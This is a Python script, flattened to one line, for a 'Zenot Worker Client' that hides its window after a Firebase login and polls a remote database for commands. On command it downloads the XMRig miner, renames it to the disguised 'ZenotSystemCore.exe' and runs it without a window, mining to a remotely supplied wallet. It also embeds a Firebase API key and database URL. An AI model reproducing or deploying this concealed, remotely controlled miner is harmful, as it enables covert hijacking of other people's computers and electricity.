import tkinter as tk from tkinter import messagebox import requests import json import threading import time import os import subprocess import zipfile import shutil import sys # --- CẤU HÌNH --- FIREBASE_DB = "https://zunrdp-default-rtdb.asia-southeast1.firebasedatabase.app" API_KEY = "AIzaSyBrKWSjYj7x8gUKPXUyHKTidAFtOIa5ul4" # Public key, dùng thoải mái MINER_URL = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip" FAKE_NAME = "ZenotSystemCore.exe" class WorkerApp: def __init__(self, root): self.root = root self.root.title("Zenot Worker Client") self.root.geometry("300x250") self.root.configure(bg="#111") self.uid = None self.process = None # UI ĐĂNG NHẬP tk.Label(root, text="ZENOT WORKER", font=("Arial", 16, "bold"), fg="#0f0", bg="#111").pack(pady=20) self.email = tk.Entry(root, width=30) self.email.pack(pady=5) self.email.insert(0, "Email...") self.password = tk.Entry(root, width=30, show="*") self.password.pack(pady=5) tk.Button(root, text="CONNECT & HIDE", bg="#0f0", command=self.login).pack(pady=20) def login(self): email = self.email.get() password = self.password.get() # REST API Login Firebase url = f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={API_KEY}" payload = {"email": email, "password": password, "returnSecureToken": True} try: r = requests.post(url, json=payload) data = r.json() if "localId" in data: self.uid = data["localId"] messagebox.showinfo("Success", "Kết nối thành công! App sẽ ẩn và chạy ngầm.") # ẨN GIAO DIỆN self.root.withdraw() # BẮT ĐẦU VÒNG LẶP LẮNG NGHE LỆNH threading.Thread(target=self.listen_loop, daemon=True).start() else: messagebox.showerror("Error", data.get("error", {}).get("message", "Login Failed")) except Exception as e: messagebox.showerror("Error", str(e)) def listen_loop(self): # Vòng lặp lắng nghe lệnh từ Web (Mỗi 3 giây check 1 lần) last_time = 0 while True: try: # Đọc lệnh từ Firebase r = requests.get(f"{FIREBASE_DB}/users/{self.uid}/command.json") cmd = r.json() if cmd and cmd.get("time", 0) > last_time: last_time = cmd["time"] action = cmd["action"] if action == "START": self.update_status("RUNNING", "Starting engine...") self.start_miner(cmd["coin"], cmd["wallet"]) elif action == "STOP": self.stop_miner() self.update_status("IDLE", "Stopped by user.") time.sleep(3) except Exception as e: print("Connection error:", e) time.sleep(5) def start_miner(self, coin, wallet): work_dir = os.path.join(os.getenv('APPDATA'), 'ZenotWorkerData') if not os.path.exists(work_dir): os.makedirs(work_dir) exe_path = os.path.join(work_dir, FAKE_NAME) # 1. Tải nếu chưa có if not os.path.exists(exe_path): try: self.update_status("RUNNING", "Downloading resources...") r = requests.get(MINER_URL, stream=True) zip_path = os.path.join(work_dir, "pkg.zip") with open(zip_path, 'wb') as f: for chunk in r.iter_content(chunk_size=1024): f.write(chunk) with zipfile.ZipFile(zip_path, 'r') as z: z.extractall(work_dir) for root, dirs, files in os.walk(work_dir): if "xmrig.exe" in files: shutil.move(os.path.join(root, "xmrig.exe"), exe_path) break except: pass # 2. Chạy args = [ exe_path, '-o', 'rx.unmineable.com:3333', '-a', 'rx/0', '-k', '-u', f'{coin}:{wallet}.ZenotRemote', '-p', 'x', '--background' ] si = subprocess.STARTUPINFO() si.dwFlags |= subprocess.STARTF_USESHOWWINDOW self.process = subprocess.Popen(args, startupinfo=si, creationflags=subprocess.CREATE_NO_WINDOW) self.update_status("RUNNING", f"Mining {coin} started!", hashrate="Calculating...") def stop_miner(self): if self.process: self.process.kill() self.process = None os.system(f"taskkill /f /im {FAKE_NAME}") self.update_status("IDLE", "Mining stopped.") def update_status(self, state, log, hashrate="0 H/s"): # Gửi trạng thái ngược lại Web data = {"state": state, "log": log, "hashrate": hashrate} requests.put(f"{FIREBASE_DB}/users/{self.uid}/status.json", json=data) if __name__ == "__main__": root = tk.Tk() app = WorkerApp(root) root.mainloop()